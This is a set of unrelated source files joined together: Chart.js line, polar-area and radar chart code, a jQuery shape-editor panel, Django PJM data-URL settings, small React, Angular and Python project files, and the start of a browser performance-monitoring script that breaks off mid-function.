ctx: this.chart.ctx, inRange: function(mouseX) { return ( Math.pow(mouseX - this.x, 2) < Math.pow(this.radius + this.hitDetectionRadius, 2) ) }, }) this.datasets = [] //Set up tooltip events on the chart if (this.options.showTooltips) { helpers.bindEvents(this, this.options.tooltipEvents, function( evt, ) { var activePoints = evt.type !== 'mouseout' ? this.getPointsAtEvent(evt) : [] this.eachPoints(function(point) { point.restore(['fillColor', 'strokeColor']) }) helpers.each(activePoints, function(activePoint) { activePoint.fillColor = activePoint.highlightFill activePoint.strokeColor = activePoint.highlightStroke }) this.showTooltip(activePoints) }) } //Iterate through each of the datasets, and build this into a property of the chart helpers.each( data.datasets, function(dataset) { var datasetObject = { label: dataset.label || null, fillColor: dataset.fillColor, strokeColor: dataset.strokeColor, pointColor: dataset.pointColor, pointStrokeColor: dataset.pointStrokeColor, points: [], } this.datasets.push(datasetObject) helpers.each( dataset.data, function(dataPoint, index) { //Add a new point for each piece of data, passing any required data to draw. datasetObject.points.push( new this.PointClass({ value: dataPoint, label: data.labels[index], datasetLabel: dataset.label, strokeColor: dataset.pointStrokeColor, fillColor: dataset.pointColor, highlightFill: dataset.pointHighlightFill || dataset.pointColor, highlightStroke: dataset.pointHighlightStroke || dataset.pointStrokeColor, }), ) }, this, ) this.buildScale(data.labels) this.eachPoints(function(point, index) { helpers.extend(point, { x: this.scale.calculateX(index), y: this.scale.endPoint, }) point.save() }, this) }, this, ) this.render() }, update: function() { this.scale.update() // Reset any highlight colours before updating. helpers.each(this.activeElements, function(activeElement) { activeElement.restore(['fillColor', 'strokeColor']) }) this.eachPoints(function(point) { point.save() }) this.render() }, eachPoints: function(callback) { helpers.each( this.datasets, function(dataset) { helpers.each(dataset.points, callback, this) }, this, ) }, getPointsAtEvent: function(e) { var pointsArray = [], eventPosition = helpers.getRelativePosition(e) helpers.each( this.datasets, function(dataset) { helpers.each(dataset.points, function(point) { if (point.inRange(eventPosition.x, eventPosition.y)) pointsArray.push(point) }) }, this, ) return pointsArray }, buildScale: function(labels) { var self = this var dataTotal = function() { var values = [] self.eachPoints(function(point) { values.push(point.value) }) return values } var scaleOptions = { templateString: this.options.scaleLabel, height: this.chart.height, width: this.chart.width, ctx: this.chart.ctx, textColor: this.options.scaleFontColor, fontSize: this.options.scaleFontSize, fontStyle: this.options.scaleFontStyle, fontFamily: this.options.scaleFontFamily, valuesCount: labels.length, beginAtZero: this.options.scaleBeginAtZero, integersOnly: this.options.scaleIntegersOnly, calculateYRange: function(currentHeight) { var updatedRanges = helpers.calculateScaleRange( dataTotal(), currentHeight, this.fontSize, this.beginAtZero, this.integersOnly, ) helpers.extend(this, updatedRanges) }, xLabels: labels, font: helpers.fontString( this.options.scaleFontSize, this.options.scaleFontStyle, this.options.scaleFontFamily, ), lineWidth: this.options.scaleLineWidth, lineColor: this.options.scaleLineColor, showHorizontalLines: this.options.scaleShowHorizontalLines, showVerticalLines: this.options.scaleShowVerticalLines, gridLineWidth: this.options.scaleShowGridLines ? this.options.scaleGridLineWidth : 0, gridLineColor: this.options.scaleShowGridLines ? this.options.scaleGridLineColor : 'rgba(0,0,0,0)', padding: this.options.showScale ? 0 : this.options.pointDotRadius + this.options.pointDotStrokeWidth, showLabels: this.options.scaleShowLabels, display: this.options.showScale, } if (this.options.scaleOverride) { helpers.extend(scaleOptions, { calculateYRange: helpers.noop, steps: this.options.scaleSteps, stepValue: this.options.scaleStepWidth, min: this.options.scaleStartValue, max: this.options.scaleStartValue + this.options.scaleSteps * this.options.scaleStepWidth, }) } this.scale = new Chart.Scale(scaleOptions) }, addData: function(valuesArray, label) { //Map the values array for each of the datasets helpers.each( valuesArray, function(value, datasetIndex) { //Add a new point for each piece of data, passing any required data to draw. this.datasets[datasetIndex].points.push( new this.PointClass({ value: value, label: label, x: this.scale.calculateX( this.scale.valuesCount + 1, ), y: this.scale.endPoint, strokeColor: this.datasets[datasetIndex] .pointStrokeColor, fillColor: this.datasets[datasetIndex].pointColor, }), ) }, this, ) this.scale.addXLabel(label) //Then re-render the chart. this.update() }, removeData: function() { this.scale.removeXLabel() //Then re-render the chart. helpers.each( this.datasets, function(dataset) { dataset.points.shift() }, this, ) this.update() }, reflow: function() { var newScaleProps = helpers.extend({ height: this.chart.height, width: this.chart.width, }) this.scale.update(newScaleProps) }, draw: function(ease) { var easingDecimal = ease || 1 this.clear() var ctx = this.chart.ctx // Some helper methods for getting the next/prev points var hasValue = function(item) { return item.value !== null }, nextPoint = function(point, collection, index) { return ( helpers.findNextWhere(collection, hasValue, index) || point ) }, previousPoint = function(point, collection, index) { return ( helpers.findPreviousWhere( collection, hasValue, index, ) || point ) } this.scale.draw(easingDecimal) helpers.each( this.datasets, function(dataset) { var pointsWithValues = helpers.where( dataset.points, hasValue, ) //Transition each point first so that the line and point drawing isn't out of sync //We can use this extra loop to calculate the control points of this dataset also in this loop helpers.each( dataset.points, function(point, index) { if (point.hasValue()) { point.transition( { y: this.scale.calculateY(point.value), x: this.scale.calculateX(index), }, easingDecimal, ) } }, this, ) // Control points need to be calculated in a seperate loop, because we need to know the current x/y of the point // This would cause issues when there is no animation, because the y of the next point would be 0, so beziers would be skewed if (this.options.bezierCurve) { helpers.each( pointsWithValues, function(point, index) { var tension = index > 0 && index < pointsWithValues.length - 1 ? this.options.bezierCurveTension : 0 point.controlPoints = helpers.splineCurve( previousPoint( point, pointsWithValues, index, ), point, nextPoint(point, pointsWithValues, index), tension, ) // Prevent the bezier going outside of the bounds of the graph // Cap puter bezier handles to the upper/lower scale bounds if ( point.controlPoints.outer.y > this.scale.endPoint ) { point.controlPoints.outer.y = this.scale.endPoint } else if ( point.controlPoints.outer.y < this.scale.startPoint ) { point.controlPoints.outer.y = this.scale.startPoint } // Cap inner bezier handles to the upper/lower scale bounds if ( point.controlPoints.inner.y > this.scale.endPoint ) { point.controlPoints.inner.y = this.scale.endPoint } else if ( point.controlPoints.inner.y < this.scale.startPoint ) { point.controlPoints.inner.y = this.scale.startPoint } }, this, ) } //Draw the line between all the points ctx.lineWidth = this.options.datasetStrokeWidth ctx.strokeStyle = dataset.strokeColor ctx.beginPath() helpers.each( pointsWithValues, function(point, index) { if (index === 0) { ctx.moveTo(point.x, point.y) } else { if (this.options.bezierCurve) { var previous = previousPoint( point, pointsWithValues, index, ) ctx.bezierCurveTo( previous.controlPoints.outer.x, previous.controlPoints.outer.y, point.controlPoints.inner.x, point.controlPoints.inner.y, point.x, point.y, ) } else { ctx.lineTo(point.x, point.y) } } }, this, ) ctx.stroke() if ( this.options.datasetFill && pointsWithValues.length > 0 ) { //Round off the line by going to the base of the chart, back to the start, then fill. ctx.lineTo( pointsWithValues[pointsWithValues.length - 1].x, this.scale.endPoint, ) ctx.lineTo(pointsWithValues[0].x, this.scale.endPoint) ctx.fillStyle = dataset.fillColor ctx.closePath() ctx.fill() } //Now draw the points over the line //A little inefficient double looping, but better than the line //lagging behind the point positions helpers.each(pointsWithValues, function(point) { point.draw() }) }, this, ) }, }) }.call(this)) ;(function() { 'use strict' var root = this, Chart = root.Chart, //Cache a local reference to Chart.helpers helpers = Chart.helpers var defaultConfig = { //Boolean - Show a backdrop to the scale label scaleShowLabelBackdrop: true, //String - The colour of the label backdrop scaleBackdropColor: 'rgba(255,255,255,0.75)', // Boolean - Whether the scale should begin at zero scaleBeginAtZero: true, //Number - The backdrop padding above & below the label in pixels scaleBackdropPaddingY: 2, //Number - The backdrop padding to the side of the label in pixels scaleBackdropPaddingX: 2, //Boolean - Show line for each value in the scale scaleShowLine: true, //Boolean - Stroke a line around each segment in the chart segmentShowStroke: true, //String - The colour of the stroke on each segement. segmentStrokeColor: '#fff', //Number - The width of the stroke value in pixels segmentStrokeWidth: 2, //Number - Amount of animation steps animationSteps: 100, //String - Animation easing effect. animationEasing: 'easeOutBounce', //Boolean - Whether to animate the rotation of the chart animateRotate: true, //Boolean - Whether to animate scaling the chart from the centre animateScale: false, //String - A legend template legendTemplate: '<ul class="<%=name.toLowerCase()%>-legend"><% for (var i=0; i<segments.length; i++){%><li><span style="background-color:<%=segments[i].fillColor%>"></span><%if(segments[i].label){%><%=segments[i].label%><%}%></li><%}%></ul>', } Chart.Type.extend({ //Passing in a name registers this chart in the Chart namespace name: 'PolarArea', //Providing a defaults will also register the deafults in the chart namespace defaults: defaultConfig, //Initialize is fired when the chart is initialized - Data is passed in as a parameter //Config is automatically merged by the core of Chart.js, and is available at this.options initialize: function(data) { this.segments = [] //Declare segment class as a chart instance specific class, so it can share props for this instance this.SegmentArc = Chart.Arc.extend({ showStroke: this.options.segmentShowStroke, strokeWidth: this.options.segmentStrokeWidth, strokeColor: this.options.segmentStrokeColor, ctx: this.chart.ctx, innerRadius: 0, x: this.chart.width / 2, y: this.chart.height / 2, }) this.scale = new Chart.RadialScale({ display: this.options.showScale, fontStyle: this.options.scaleFontStyle, fontSize: this.options.scaleFontSize, fontFamily: this.options.scaleFontFamily, fontColor: this.options.scaleFontColor, showLabels: this.options.scaleShowLabels, showLabelBackdrop: this.options.scaleShowLabelBackdrop, backdropColor: this.options.scaleBackdropColor, backdropPaddingY: this.options.scaleBackdropPaddingY, backdropPaddingX: this.options.scaleBackdropPaddingX, lineWidth: this.options.scaleShowLine ? this.options.scaleLineWidth : 0, lineColor: this.options.scaleLineColor, lineArc: true, width: this.chart.width, height: this.chart.height, xCenter: this.chart.width / 2, yCenter: this.chart.height / 2, ctx: this.chart.ctx, templateString: this.options.scaleLabel, valuesCount: data.length, }) this.updateScaleRange(data) this.scale.update() helpers.each( data, function(segment, index) { this.addData(segment, index, true) }, this, ) //Set up tooltip events on the chart if (this.options.showTooltips) { helpers.bindEvents(this, this.options.tooltipEvents, function( evt, ) { var activeSegments = evt.type !== 'mouseout' ? this.getSegmentsAtEvent(evt) : [] helpers.each(this.segments, function(segment) { segment.restore(['fillColor']) }) helpers.each(activeSegments, function(activeSegment) { activeSegment.fillColor = activeSegment.highlightColor }) this.showTooltip(activeSegments) }) } this.render() }, getSegmentsAtEvent: function(e) { var segmentsArray = [] var location = helpers.getRelativePosition(e) helpers.each( this.segments, function(segment) { if (segment.inRange(location.x, location.y)) segmentsArray.push(segment) }, this, ) return segmentsArray }, addData: function(segment, atIndex, silent) { var index = atIndex || this.segments.length this.segments.splice( index, 0, new this.SegmentArc({ fillColor: segment.color, highlightColor: segment.highlight || segment.color, label: segment.label, value: segment.value, outerRadius: this.options.animateScale ? 0 : this.scale.calculateCenterOffset(segment.value), circumference: this.options.animateRotate ? 0 : this.scale.getCircumference(), startAngle: Math.PI * 1.5, }), ) if (!silent) { this.reflow() this.update() } }, removeData: function(atIndex) { var indexToDelete = helpers.isNumber(atIndex) ? atIndex : this.segments.length - 1 this.segments.splice(indexToDelete, 1) this.reflow() this.update() }, calculateTotal: function(data) { this.total = 0 helpers.each( data, function(segment) { this.total += segment.value }, this, ) this.scale.valuesCount = this.segments.length }, updateScaleRange: function(datapoints) { var valuesArray = [] helpers.each(datapoints, function(segment) { valuesArray.push(segment.value) }) var scaleSizes = this.options.scaleOverride ? { steps: this.options.scaleSteps, stepValue: this.options.scaleStepWidth, min: this.options.scaleStartValue, max: this.options.scaleStartValue + this.options.scaleSteps * this.options.scaleStepWidth, } : helpers.calculateScaleRange( valuesArray, helpers.min([this.chart.width, this.chart.height]) / 2, this.options.scaleFontSize, this.options.scaleBeginAtZero, this.options.scaleIntegersOnly, ) helpers.extend(this.scale, scaleSizes, { size: helpers.min([this.chart.width, this.chart.height]), xCenter: this.chart.width / 2, yCenter: this.chart.height / 2, }) }, update: function() { this.calculateTotal(this.segments) helpers.each(this.segments, function(segment) { segment.save() }) this.reflow() this.render() }, reflow: function() { helpers.extend(this.SegmentArc.prototype, { x: this.chart.width / 2, y: this.chart.height / 2, }) this.updateScaleRange(this.segments) this.scale.update() helpers.extend(this.scale, { xCenter: this.chart.width / 2, yCenter: this.chart.height / 2, }) helpers.each( this.segments, function(segment) { segment.update({ outerRadius: this.scale.calculateCenterOffset( segment.value, ), }) }, this, ) }, draw: function(ease) { var easingDecimal = ease || 1 //Clear & draw the canvas this.clear() helpers.each( this.segments, function(segment, index) { segment.transition( { circumference: this.scale.getCircumference(), outerRadius: this.scale.calculateCenterOffset( segment.value, ), }, easingDecimal, ) segment.endAngle = segment.startAngle + segment.circumference // If we've removed the first segment we need to set the first one to // start at the top. if (index === 0) { segment.startAngle = Math.PI * 1.5 } //Check to see if it's the last segment, if not get the next and update the start angle if (index < this.segments.length - 1) { this.segments[index + 1].startAngle = segment.endAngle } segment.draw() }, this, ) this.scale.draw() }, }) }.call(this)) ;(function() { 'use strict' var root = this, Chart = root.Chart, helpers = Chart.helpers Chart.Type.extend({ name: 'Radar', defaults: { //Boolean - Whether to show lines for each scale point scaleShowLine: true, //Boolean - Whether we show the angle lines out of the radar angleShowLineOut: true, //Boolean - Whether to show labels on the scale scaleShowLabels: false, // Boolean - Whether the scale should begin at zero scaleBeginAtZero: true, //String - Colour of the angle line angleLineColor: 'rgba(0,0,0,.1)', //Number - Pixel width of the angle line angleLineWidth: 1, //String - Point label font declaration pointLabelFontFamily: "'Arial'", //String - Point label font weight pointLabelFontStyle: 'normal', //Number - Point label font size in pixels pointLabelFontSize: 10, //String - Point label font colour pointLabelFontColor: '#666', //Boolean - Whether to show a dot for each point pointDot: true, //Number - Radius of each point dot in pixels pointDotRadius: 3, //Number - Pixel width of point dot stroke pointDotStrokeWidth: 1, //Number - amount extra to add to the radius to cater for hit detection outside the drawn point pointHitDetectionRadius: 20, //Boolean - Whether to show a stroke for datasets datasetStroke: true, //Number - Pixel width of dataset stroke datasetStrokeWidth: 2, //Boolean - Whether to fill the dataset with a colour datasetFill: true, //String - A legend template legendTemplate: '<ul class="<%=name.toLowerCase()%>-legend"><% for (var i=0; i<datasets.length; i++){%><li><span style="background-color:<%=datasets[i].strokeColor%>"></span><%if(datasets[i].label){%><%=datasets[i].label%><%}%></li><%}%></ul>', }, initialize: function(data) { this.PointClass = Chart.Point.extend({ strokeWidth: this.options.pointDotStrokeWidth, radius: this.options.pointDotRadius, display: this.options.pointDot, hitDetectionRadius: this.options.pointHitDetectionRadius, ctx: this.chart.ctx, }) this.datasets = [] this.buildScale(data) //Set up tooltip events on the chart if (this.options.showTooltips) { helpers.bindEvents(this, this.options.tooltipEvents, function( evt, ) { var activePointsCollection = evt.type !== 'mouseout' ? this.getPointsAtEvent(evt) : [] this.eachPoints(function(point) { point.restore(['fillColor', 'strokeColor']) }) helpers.each(activePointsCollection, function(activePoint) { activePoint.fillColor = activePoint.highlightFill activePoint.strokeColor = activePoint.highlightStroke }) this.showTooltip(activePointsCollection) }) } //Iterate through each of the datasets, and build this into a property of the chart helpers.each( data.datasets, function(dataset) { var datasetObject = { label: dataset.label || null, fillColor: dataset.fillColor, strokeColor: dataset.strokeColor, pointColor: dataset.pointColor, pointStrokeColor: dataset.pointStrokeColor, points: [], } this.datasets.push(datasetObject) helpers.each( dataset.data, function(dataPoint, index) { //Add a new point for each piece of data, passing any required data to draw. var pointPosition if (!this.scale.animation) { pointPosition = this.scale.getPointPosition( index, this.scale.calculateCenterOffset(dataPoint), ) } datasetObject.points.push( new this.PointClass({ value: dataPoint, label: data.labels[index], datasetLabel: dataset.label, x: this.options.animation ? this.scale.xCenter : pointPosition.x, y: this.options.animation ? this.scale.yCenter : pointPosition.y, strokeColor: dataset.pointStrokeColor, fillColor: dataset.pointColor, highlightFill: dataset.pointHighlightFill || dataset.pointColor, highlightStroke: dataset.pointHighlightStroke || dataset.pointStrokeColor, }), ) }, this, ) }, this, ) this.render() }, eachPoints: function(callback) { helpers.each( this.datasets, function(dataset) { helpers.each(dataset.points, callback, this) }, this, ) }, getPointsAtEvent: function(evt) { var mousePosition = helpers.getRelativePosition(evt), fromCenter = helpers.getAngleFromPoint( { x: this.scale.xCenter, y: this.scale.yCenter, }, mousePosition, ) var anglePerIndex = (Math.PI * 2) / this.scale.valuesCount, pointIndex = Math.round( (fromCenter.angle - Math.PI * 1.5) / anglePerIndex, ), activePointsCollection = [] // If we're at the top, make the pointIndex 0 to get the first of the array. if (pointIndex >= this.scale.valuesCount || pointIndex < 0) { pointIndex = 0 } if (fromCenter.distance <= this.scale.drawingArea) { helpers.each(this.datasets, function(dataset) { activePointsCollection.push(dataset.points[pointIndex]) }) } return activePointsCollection }, buildScale: function(data) { this.scale = new Chart.RadialScale({ display: this.options.showScale, fontStyle: this.options.scaleFontStyle, fontSize: this.options.scaleFontSize, fontFamily: this.options.scaleFontFamily, fontColor: this.options.scaleFontColor, showLabels: this.options.scaleShowLabels, showLabelBackdrop: this.options.scaleShowLabelBackdrop, backdropColor: this.options.scaleBackdropColor, backdropPaddingY: this.options.scaleBackdropPaddingY, backdropPaddingX: this.options.scaleBackdropPaddingX, lineWidth: this.options.scaleShowLine ? this.options.scaleLineWidth : 0, lineColor: this.options.scaleLineColor, angleLineColor: this.options.angleLineColor, angleLineWidth: this.options.angleShowLineOut ? this.options.angleLineWidth : 0, // Point labels at the edge of each line pointLabelFontColor: this.options.pointLabelFontColor, pointLabelFontSize: this.options.pointLabelFontSize, pointLabelFontFamily: this.options.pointLabelFontFamily, pointLabelFontStyle: this.options.pointLabelFontStyle, height: this.chart.height, width: this.chart.width, xCenter: this.chart.width / 2, yCenter: this.chart.height / 2, ctx: this.chart.ctx, templateString: this.options.scaleLabel, labels: data.labels, valuesCount: data.datasets[0].data.length, }) this.scale.setScaleSize() this.updateScaleRange(data.datasets) this.scale.buildYLabels() }, updateScaleRange: function(datasets) { var valuesArray = (function() { var totalDataArray = [] helpers.each(datasets, function(dataset) { if (dataset.data) { totalDataArray = totalDataArray.concat(dataset.data) } else { helpers.each(dataset.points, function(point) { totalDataArray.push(point.value) }) } }) return totalDataArray })() var scaleSizes = this.options.scaleOverride ? { steps: this.options.scaleSteps, stepValue: this.options.scaleStepWidth, min: this.options.scaleStartValue, max: this.options.scaleStartValue + this.options.scaleSteps * this.options.scaleStepWidth, } : helpers.calculateScaleRange( valuesArray, helpers.min([this.chart.width, this.chart.height]) / 2, this.options.scaleFontSize, this.options.scaleBeginAtZero, this.options.scaleIntegersOnly, ) helpers.extend(this.scale, scaleSizes) }, addData: function(valuesArray, label) { //Map the values array for each of the datasets this.scale.valuesCount++ helpers.each( valuesArray, function(value, datasetIndex) { var pointPosition = this.scale.getPointPosition( this.scale.valuesCount, this.scale.calculateCenterOffset(value), ) this.datasets[datasetIndex].points.push( new this.PointClass({ value: value, label: label, x: pointPosition.x, y: pointPosition.y, strokeColor: this.datasets[datasetIndex] .pointStrokeColor, fillColor: this.datasets[datasetIndex].pointColor, }), ) }, this, ) this.scale.labels.push(label) this.reflow() this.update() }, removeData: function() { this.scale.valuesCount-- this.scale.labels.shift() helpers.each( this.datasets, function(dataset) { dataset.points.shift() }, this, ) this.reflow() this.update() }, update: function() { this.eachPoints(function(point) { point.save() }) this.reflow() this.render() }, reflow: function() { helpers.extend(this.scale, { width: this.chart.width, height: this.chart.height, size: helpers.min([this.chart.width, this.chart.height]), xCenter: this.chart.width / 2, yCenter: this.chart.height / 2, }) this.updateScaleRange(this.datasets) this.scale.setScaleSize() this.scale.buildYLabels() }, draw: function(ease) { var easeDecimal = ease || 1, ctx = this.chart.ctx this.clear() this.scale.draw() helpers.each( this.datasets, function(dataset) { //Transition each point first so that the line and point drawing isn't out of sync helpers.each( dataset.points, function(point, index) { if (point.hasValue()) { point.transition( this.scale.getPointPosition( index, this.scale.calculateCenterOffset( point.value, ), ), easeDecimal, ) } }, this, ) //Draw the line between all the points ctx.lineWidth = this.options.datasetStrokeWidth ctx.strokeStyle = dataset.strokeColor ctx.beginPath() helpers.each( dataset.points, function(point, index) { if (index === 0) { ctx.moveTo(point.x, point.y) } else { ctx.lineTo(point.x, point.y) } }, this, ) ctx.closePath() ctx.stroke() ctx.fillStyle = dataset.fillColor ctx.fill() //Now draw the points over the line //A little inefficient double looping, but better than the line //lagging behind the point positions helpers.each(dataset.points, function(point) { if (point.hasValue()) { point.draw() } }) }, this, ) }, }) }.call(this))
var shapeMedia = function (options) { this.id = options.id; this.content = $(options.content); this.container = $(options.container); this.sdk = options.sdk; this.tab = options.tab; this.layer = options.layer; this.controller = options.controller; this.data = options.data /* set json */ this.data.media = this.id; if (typeof this.data.data[this.id] == 'undefined') { this.data.data[this.id] = { shape : 'rectangle', 'background-color' : 'grey', 'border-radius' : '0' }; } console.log(this.data.data[this.id]); this.render(); this.panel(); this.plugins(); }; shapeMedia.prototype.panel = function () { var _this = this; var text = this.sdk.getInput({ 'title' : { 'title' : 'Text' }, 'id' : '', input : { 'type' : 'text', 'class' : 'ff_media_shape_text_input form-control', 'tab' : this.data.data[this.id].text, 'value' : 'Free Flow', 'style' : 'width:95%;' }, 'event' : { 'type' : 'keyup', 'callback' : function () { var value = $(this).val(); _this.content.children('p.ff_media_shape_div').html(value); _this.data.data[_this.id].text = value; } } }); var bgcolor = this.sdk.getInput({ 'title' : { 'title' : 'Background Color' }, 'id' : '', input : { 'type' : 'text', 'class' : 'form-control color-picker bgcolor', 'tab' : this.tab, 'value' : this.data.data[_this.id]['background-color'], 'style' : 'width:95%;' }, 'event' : { 'type' : 'change', 'dispatch' : true, 'callback' : function () { // _this.content.children('a.ff_button_btn').html($(this).val()); // _this.data.data[_this.id].bgColor = $(this).val(); } } }); var radius = this.sdk.getInput({ 'title' : { 'title' : 'Border Radius' }, 'id' : '', input : { 'type' : 'number', 'class' : 'ff_media_shape_radius_input form-control', 'tab' : this.tab, 'value' : _this.data.data[_this.id]['border-radius'], 'min': '0', 'style' : 'width:95%;' }, 'event' : { 'type' : 'change', 'callback' : function () { var value = $(this).val(); _this.content.children('div.ff_media_shape_div').css('border-radius', value+'px'); _this.data.data[_this.id]['border-radius'] = value; } } }); var rounded_corners = this.sdk.getInput({ 'title' : { 'title' : 'Rounded Corners' }, 'id' : '', input : { 'type' : 'number', 'class' : 'ff_media_shape_roundcorner_input form-control', 'tab' : this.tab, 'value' : _this.data.data[_this.id]['border-radius'], 'min': '0', 'style' : 'width:95%;' }, 'event' : { 'type' : 'change', 'callback' : function () { var value = $(this).val(); _this.content.children('div.ff_media_shape_div.rectangle').css('border-radius', value+'px'); _this.data.data[_this.id]['border-radius'] = value + 'px'; } } }); var shape = this.sdk.getSelect({ 'title' : { 'title' : 'Shape' }, 'input' : { 'value' : this.data.data[this.id].shape, 'class' : 'form-control ', 'options' : [ {'text' : 'Rectangle', 'value' : 'rectangle'}, {'text' : 'Circle', 'value' : 'circle'}, ], 'tab' : _this.tab }, 'event' : { 'type' : 'change', 'callback' : function () { var value = $(this).val(); _this.content.children('div.ff_media_shape_div').addClass(value); _this.data.data[_this.id].shape = value; if (value == 'circle') { $(rounded_corners).hide(); $(radius).show(); _this.content.children('div.ff_media_shape_div.circle').css('border-radius', '50px'); $('.ff_media_shape_radius_input').val('50'); _this.data.data[_this.id]['border-radius'] = '50px'; }else{ $(radius).hide(); $(rounded_corners).show(); _this.content.children('div.ff_media_shape_div.rectangle').css('border-radius', '0px'); $('.ff_media_shape_roundcorner_input').val(0); _this.data.data[_this.id]['border-radius'] = '0px'; } } } }); if (this.data.data[_this.id].shape != 'circle') { $(radius).hide(); $(rounded_corners).show(); }else{ $(rounded_corners).hide(); $(radius).show(); _this.data.data[_this.id]['border-radius'] = '50px'; } var section = this.sdk.section ({ 'input' : [shape, bgcolor, radius, rounded_corners], }); this.container.html(''); this.container.append(section); } shapeMedia.prototype.render = function () { this.txt = $('<div id="ff_media_shape_div_' + this.layer + '" tab="' + this.tab + '" layer="' + this.layer + '"></div>').addClass('ff_media_shape_div_style').addClass('ff_media_shape_div').addClass(this.data.data[this.id].shape); this.content.html(this.txt); for(var key in this.data.data[this.id]){ if(key != 'shape'){ this.content.children('div.ff_media_shape_div').css(key, this.data.data[this.id][key]); } } } shapeMedia.prototype.plugins = function(){ var _this = this; $('.color-picker').colorpicker({ format: 'hex' }); $('.color-picker.bgcolor').on('changeColor', function(){ var value = $(this).colorpicker('getValue', '#000000'); _this.content.children('div.ff_media_shape_div').css('background-color', value); _this.data.data[_this.id]['background-color'] = value; }); }
# Julian Conneely # testing push and pull # again # and again # extra comment test, failed on LAN, should commit on wifi at work? no it didnt, at home?
from django.conf import settings LMPDA_URL = settings.PJM_LMPDA_URL = getattr( settings, 'PJM_LMPDA_URL', 'http://www.pjm.com/pub/account/lmpda/{year:04d}{month:02d}{day:02d}-da.csv') LMPDA_URL2 = settings.PJM_LMPDA_URL2 = getattr( settings, 'PJM_LMPDA_URL2', 'http://www.pjm.com/pub/account/lmpda/{year:04d}{month:02d}{day:02d}-da.zip') LMP_URL = settings.PJM_LMP_URL = getattr( settings, 'PJM_LMP_URL', 'http://www.pjm.com/pub/account/lmp/{year:04d}{month:02d}{day:02d}.csv') LMP_URL2 = settings.PJM_LMP_URL2 = getattr( settings, 'PJM_LMP_URL2', 'http://www.pjm.com/pub/account/lmp/{year:04d}{month:02d}{day:02d}.zip')
import { all, fork } from 'redux-saga/effects'; import axios from 'axios'; import postSaga from './post'; import userSaga from './user'; import { backUrl } from '../config/config'; axios.defaults.baseURL = backUrl; axios.defaults.withCredentials = true; export default function* rootSaga() { yield all([ fork(postSaga), fork(userSaga), ]); }
(function (context, $, undefined) { 'use strict'; var modules = context.setNamespace('app.modules'), app = context.use('app'); /** * Pinnable module * * Adds functionality to fix node placement */ modules.Pinnable = app.createClass({ /** * This is actually a toggle to either pin or unpin a node */ handleNodePinned: function (event, node, data) { data.fixed = !data.fixed; $(this.kernel).trigger('node-pinned', [node, data]); } }); }(this, jQuery));
amuseApp.controller('RegisterCtrl', ['$scope', function($scope) { $scope.message = "Welcome!"; }]);
# coding: utf-8 from setuptools import setup, find_packages setup( name='aws-transfer-custom-idp-ssm-parameter-store-apig', version='1.0', description='Allow myself, to introduce myself', author='Galen Dunkleberger', license='ASL', zip_safe=False, packages=['aws_transfer_custom_idp_ssm_parameter_store_apig'], include_package_data=False )
function getPerformance() { return window.performance || window.mozPerformance || window.msPerformance || window.webkitPerformance; } var getLanguage = function () { var languages = navigator.languages || navigator.language || navigator.userLanguage; return Array.isArray(languages) ? languages[0] : languages; }; var setDefault0 = function (end, start) { return (end > 0 && start > 0) ? (end - start) : 0; }; var getPerformanceMetric = function (endTag, startTag) { var performance = getPerformance(); if (!performance) { return 0; } var timing = performance.timing; return setDefault0(timing[endTag], timing[startTag]); }; var getStaticAttrs = function (target) { var name = target.localName; switch (name) { case 'script': return { url: target.src, async: target.async, defer: target.defer }; case 'link': return { url: target.href }; case 'img': return { url: target.src }; } return {}; }; var isError = function (error) { return error instanceof Error; }; var validateStatus = function (status) { return status >= 200 && status < 300; }; var REPORT_TYPE; (function (REPORT_TYPE) { REPORT_TYPE["PERFORMANCE"] = "performance"; REPORT_TYPE["RESOURCE"] = "resource"; REPORT_TYPE["ERROR"] = "error"; REPORT_TYPE["INTERFACE"] = "interface"; REPORT_TYPE["UNKNOWN"] = "unknown"; })(REPORT_TYPE || (REPORT_TYPE = {})); var ACTION_TYPE; (function (ACTION_TYPE) { ACTION_TYPE[ACTION_TYPE["AUTO"] = 0] = "AUTO"; ACTION_TYPE[ACTION_TYPE["MANUAL"] = 1] = "MANUAL"; ACTION_TYPE["UNKNOWN"] = "unknown"; })(ACTION_TYPE || (ACTION_TYPE = {})); var ERROR_TYPE; (function (ERROR_TYPE) { ERROR_TYPE["JS_ERROR"] = "js_error"; ERROR_TYPE["RESOURCE_ERROR"] = "resource_error"; ERROR_TYPE["UNHANDLEDREJECTION"] = "unhandledrejection"; ERROR_TYPE["AJAX_ERROR"] = "ajax_error"; ERROR_TYPE["FETCH_ERROR"] = "fetch_error"; // fetch请求错误 })(ERROR_TYPE || (ERROR_TYPE = {})); var NETWORK_ERROR; (function (NETWORK_ERROR) { NETWORK_ERROR["REQUEST_ERROR"] = "request_error"; NETWORK_ERROR["TIMEOUT"] = "timout"; NETWORK_ERROR["ERROR"] = "network_error"; NETWORK_ERROR["ABORT"] = "abort"; NETWORK_ERROR["SLOW_API"] = "slow_api"; // 慢接口 })(NETWORK_ERROR || (NETWORK_ERROR = {})); var UNKNOWN = 'unknown'; function report(data, reportType, actionType) { if (reportType === void 0) { reportType = UNKNOWN; } if (actionType === void 0) { actionType = ACTION_TYPE.AUTO; } var commonMetric = { app: '', href: location.href, language: getLanguage(), userAgent: navigator.userAgent, platform: navigator.platform, screenWidth: window.screen.width, screenHeight: window.screen.height, colorDepth: window.screen.colorDepth, referrer: document.referrer, }; var reportData = Object.assign({ reportType: reportType, actionType: actionType }, commonMetric, data); console.log(reportData); } function monitorPerformance() { if (monitorPerformance.installed) { return; } monitorPerformance.installed = true; var performance = getPerformance(); function getMetrics() { return { dns: getPerformanceMetric('domainLookupEnd', 'domainLookupStart'), tcp: getPerformanceMetric('connectEnd', 'connectStart'), ssl: getPerformanceMetric('connectEnd', 'secureConnectionStart'), ttfb: getPerformanceMetric('responseStart', 'requestStart'), trans: getPerformanceMetric('responseEnd', 'responseStart'), dom: getPerformanceMetric('domInteractive', 'responseEnd'), res: getPerformanceMetric('loadEventStart', 'domContentLoadedEventEnd'), firstbyte: getPerformanceMetric('responseStart', 'domainLookupStart'), fpt: getPerformanceMetric('responseEnd', 'fetchStart'), tti: getPerformanceMetric('domInteractive', 'fetchStart'), ready: getPerformanceMetric('domContentLoadEventEnd', 'fetchStart'), load: getPerformanceMetric('loadEventStart', 'fetchStart'), }; } if (performance && performance.timing && performance.timing.loadEventEnd) { report(getMetrics(), REPORT_TYPE.PERFORMANCE); } else { window.addEventListener('load', function () { report(getMetrics(), REPORT_TYPE.PERFORMANCE); }); } } function formatError(error) { if (!isError(error)) return error; var col = error.column || error.columnNumber; var 